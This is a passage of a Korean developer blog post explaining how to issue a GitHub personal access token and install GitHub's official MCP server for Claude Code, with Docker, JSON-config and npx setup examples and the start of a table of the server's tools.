&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;2025년에 썼던 개발자용 MCP 시리즈들이, 이제 상당 부분 구버전이 됐다. &lt;br /&gt;생태계가 빠르게 변했고, 새로 등장한 도구들도 많다. &lt;br /&gt;2026년 3월, 다시 한번 실제로 써보고 쓸 만한 것들만 골라 정리해려고 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 5px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 시리즈를 다시 쓰는 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난 2월 말, &lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장&quot;&lt;/a&gt;이라는 글을 정리한 적이 있다. Eric Holmes가 주장한 핵심은 간단하다. &lt;b&gt;LLM은 이미 CLI에 능숙하다. 그렇다면 MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;실제로 Claude Code 환경에서 MCP 대신 &lt;b&gt;CLI&lt;/b&gt;로 해결되는 경우가 꽤 많다. 디버깅도 쉽고, 별도 프로세스 관리도 없고, 기존 인증도 그대로 쓸 수 있다. 그 글에서 공감하신 분들이 많았다.&lt;br /&gt;&lt;b&gt;그럼에도 불구하고, MCP만이 줄 수 있는 가치가 분명히 존재한다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 개발자를 위한 MCP 시리즈 중에서 &lt;b&gt;&quot;GitHub MCP&quot;&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2380&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAfz4F/dJMcai3t1lT/HAwPboNXxCJ1EWblyQm05k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAfz4F/dJMcai3t1lT/HAwPboNXxCJ1EWblyQm05k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAfz4F/dJMcai3t1lT/HAwPboNXxCJ1EWblyQm05k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAfz4F%2FdJMcai3t1lT%2FHAwPboNXxCJ1EWblyQm05k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2380&quot; height=&quot;1410&quot; data-origin-width=&quot;2380&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이슈 생성, PR 작성, 코드 검색, 리포지토리 관리 &amp;mdash; 이 모든 걸 AI와 대화하면서 처리할 수 있다면 어떨까? GitHub가 직접 만든 공식 MCP 서버를 사용하면 가능하다. Claude Code에서 자연어로 GitHub 작업을 자동화하는 방법을 정리해봤다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;GitHub MCP : AI가 GitHub를 직접 조작하게 해준다&lt;/b&gt;&lt;br /&gt;GitHub가 공식으로 만든 MCP 서버다. Claude Code에 연결하면 이슈 생성, PR 작성, 코드 검색, 파일 수정, 브랜치 관리까지 자연어로 처리할 수 있다. 반복적인 GitHub 작업을 AI에게 위임해서 개발 워크플로를 자동화할 수 있다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;GitHub MCP란?&lt;/li&gt;
&lt;li&gt;GitHub Personal Access Token 발급&lt;/li&gt;
&lt;li&gt;설치 방법&lt;/li&gt;
&lt;li&gt;주요 Tools 전체 목록&lt;/li&gt;
&lt;li&gt;활용 시나리오 &amp;mdash; PR 자동화&lt;/li&gt;
&lt;li&gt;활용 시나리오 &amp;mdash; 이슈 관리 자동화&lt;/li&gt;
&lt;li&gt;GitHub CLI (gh) vs GitHub MCP 비교&lt;/li&gt;
&lt;li&gt;주의사항 및 트러블슈팅&lt;/li&gt;
&lt;li&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. GitHub MCP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP는 &lt;b&gt;GitHub가 공식으로 개발한 MCP(Model Context Protocol) 서버&lt;/b&gt;다. AI 에이전트가 GitHub API를 통해 리포지토리, 이슈, PR, 코드 등을 직접 읽고 쓸 수 있게 해준다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/github/github-mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/github/github-mcp-server&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 가지 서버 버전&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로컬 서버&lt;/b&gt; &amp;mdash; Docker 또는 사전 빌드된 바이너리로 직접 실행. GITHUB_PERSONAL_ACCESS_TOKEN 필요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;원격 서버&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #d0e8f8; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;https://api.githubcopilot.com/mcp/&lt;/code&gt;로 접속. OAuth 인증 지원. VS Code 1.101+ 필요.&lt;/li&gt;
&lt;/ul&gt;
이 글에서는 Claude Code에서 가장 많이 쓰는 &lt;b&gt;로컬 서버(Docker 방식)&lt;/b&gt;를 기준으로 설명한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. GitHub Personal Access Token 발급&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP 로컬 서버를 사용하려면 &lt;b&gt;GitHub Personal Access Token(PAT)&lt;/b&gt;이 필요하다. Fine-grained token 사용을 권장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;발급 단계&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;GitHub 로그인 후 &lt;b&gt;Settings&lt;/b&gt; 이동&lt;/li&gt;
&lt;li&gt;좌측 메뉴 맨 아래 &lt;b&gt;Developer settings&lt;/b&gt; 클릭&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Personal access tokens&lt;/b&gt; &amp;rarr; &lt;b&gt;Fine-grained tokens&lt;/b&gt; 선택&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Generate new token&lt;/b&gt; 클릭&lt;/li&gt;
&lt;li&gt;Token name 입력, Expiration 설정 (90일 권장)&lt;/li&gt;
&lt;li&gt;Repository access: &lt;b&gt;All repositories&lt;/b&gt; 또는 특정 리포지토리 선택&lt;/li&gt;
&lt;li&gt;Permissions 설정 (아래 표 참고)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Generate token&lt;/b&gt; 클릭 후 토큰 복사 &amp;mdash; &lt;b&gt;이 화면 벗어나면 다시 볼 수 없음&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;권장 Permissions&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;용도에 맞게 최소 권한만 부여하는 것이 보안상 좋다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Permission&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Access Level&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;필요한 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;Contents&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Read &amp;amp; Write&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;파일 읽기/쓰기, 커밋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;Issues&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Read &amp;amp; Write&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈 생성/수정/댓글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;Pull requests&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Read &amp;amp; Write&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 생성/리뷰/병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;Metadata&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Read-only&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;리포지토리 정보 조회 (필수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;Actions&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Read-only&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;CI/CD 워크플로 조회 (선택)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;토큰은 절대 코드에 하드코딩하지 않는다. 환경 변수로만 관리한다.&lt;/li&gt;
&lt;li&gt;필요한 최소 권한만 부여한다 (최소 권한 원칙).&lt;/li&gt;
&lt;li&gt;만료 기간을 설정하고 주기적으로 갱신한다.&lt;/li&gt;
&lt;li&gt;토큰이 유출되었으면 즉시 GitHub에서 revoke한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Docker를 사용하는 방식이 가장 안정적이고 권장된다. Docker가 설치되어 있어야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에도 사실 얘기했지만, 요즘 mcp는 자연어로 매우 쉽게 설치 가능하다. 다만 설치 방법 과정도 직접 해보는것도 좋다고 생각한다. 그렇기 떄문에 직접 설치하는 방법들도 남겨 두고, 자연어로 설치하는 방법도 남겨 두려고 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) github mcp 설치 해줘. 한마디 이후 직접 세팅이 필요한 부분은 안내를 해주거나, 몇가지는 입력 또는 선택을 요청해가며 설치할 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1494&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cocWXn/dJMcacbbHWw/7AgEdkEz4msiEkYkXJDuaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cocWXn/dJMcacbbHWw/7AgEdkEz4msiEkYkXJDuaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cocWXn/dJMcacbbHWw/7AgEdkEz4msiEkYkXJDuaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcocWXn%2FdJMcacbbHWw%2F7AgEdkEz4msiEkYkXJDuaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1494&quot; height=&quot;1040&quot; data-origin-width=&quot;1494&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEy02w/dJMcahDxzao/QdNPyZw5w7Ky8cgptRiWw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEy02w/dJMcahDxzao/QdNPyZw5w7Ky8cgptRiWw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEy02w/dJMcahDxzao/QdNPyZw5w7Ky8cgptRiWw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEy02w%2FdJMcahDxzao%2FQdNPyZw5w7Ky8cgptRiWw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;854&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1. Claude Code 대화형 설치 (Docker 방식, 권장)&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add github \
  -e GITHUB_PERSONAL_ACCESS_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx \
  -- docker run -i --rm \
  -e GITHUB_PERSONAL_ACCESS_TOKEN \
  ghcr.io/github/github-mcp-server&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Docker 이미지 최초 실행 시&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;ghcr.io/github/github-mcp-server&lt;/code&gt; 이미지를 자동으로 pull한다. 처음 실행할 때 다운로드 시간이 소요될 수 있다. Docker Desktop이 실행 중인지 확인한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2. settings.json 직접 수정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Desktop의 경우 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;~/Library/Application Support/Claude/claude_desktop_config.json&lt;/code&gt;에 추가한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;github&quot;: {
      &quot;command&quot;: &quot;docker&quot;,
      &quot;args&quot;: [
        &quot;run&quot;, &quot;-i&quot;, &quot;--rm&quot;,
        &quot;-e&quot;, &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;,
        &quot;ghcr.io/github/github-mcp-server&quot;
      ],
      &quot;env&quot;: {
        &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;: &quot;ghp_xxxxxxxxxxxxxxxxxxxx&quot;
      }
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3. npx 방식 (구 패키지)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구버전 방식으로, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;@modelcontextprotocol/server-github&lt;/code&gt; 패키지를 사용하는 방법도 있다. 단, 공식 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;github/github-mcp-server&lt;/code&gt;로 이전되었으므로 Docker 방식을 권장한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 구버전 방식 (참고용)
claude mcp add github \
  -e GITHUB_PERSONAL_ACCESS_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx \
  -- npx -y @modelcontextprotocol/server-github&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;환경 변수 설정 (쉘 설정 파일)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;토큰을 설정 파일에 하드코딩하지 않고 환경 변수로 관리하는 방법이 더 안전하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# ~/.zshrc 또는 ~/.bashrc에 추가
export GITHUB_PERSONAL_ACCESS_TOKEN=&quot;ghp_xxxxxxxxxxxxxxxxxxxx&quot;

# 적용
source ~/.zshrc&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 확인&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp list&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;github&lt;/code&gt;가 목록에 나타나면 정상적으로 설치된 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 주요 Tools 전체 목록&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP는 다양한 Tool을 제공한다. 기능별로 정리했다. (출처: github/github-mcp-server 공식 리포지토리 기준, 버전에 따라 변동 가능)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리포지토리 관리&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;create_repository&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;새 리포지토리 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;fork_repository&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;리포지토리 포크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_file_contents&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;파일 또는 디렉토리 내용 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;create_or_update_file&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;파일 생성 또는 수정 후 커밋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;delete_file&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;파일 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;push_files&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;여러 파일을 한 번에 커밋&amp;amp;푸시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_branches&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;브랜치 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
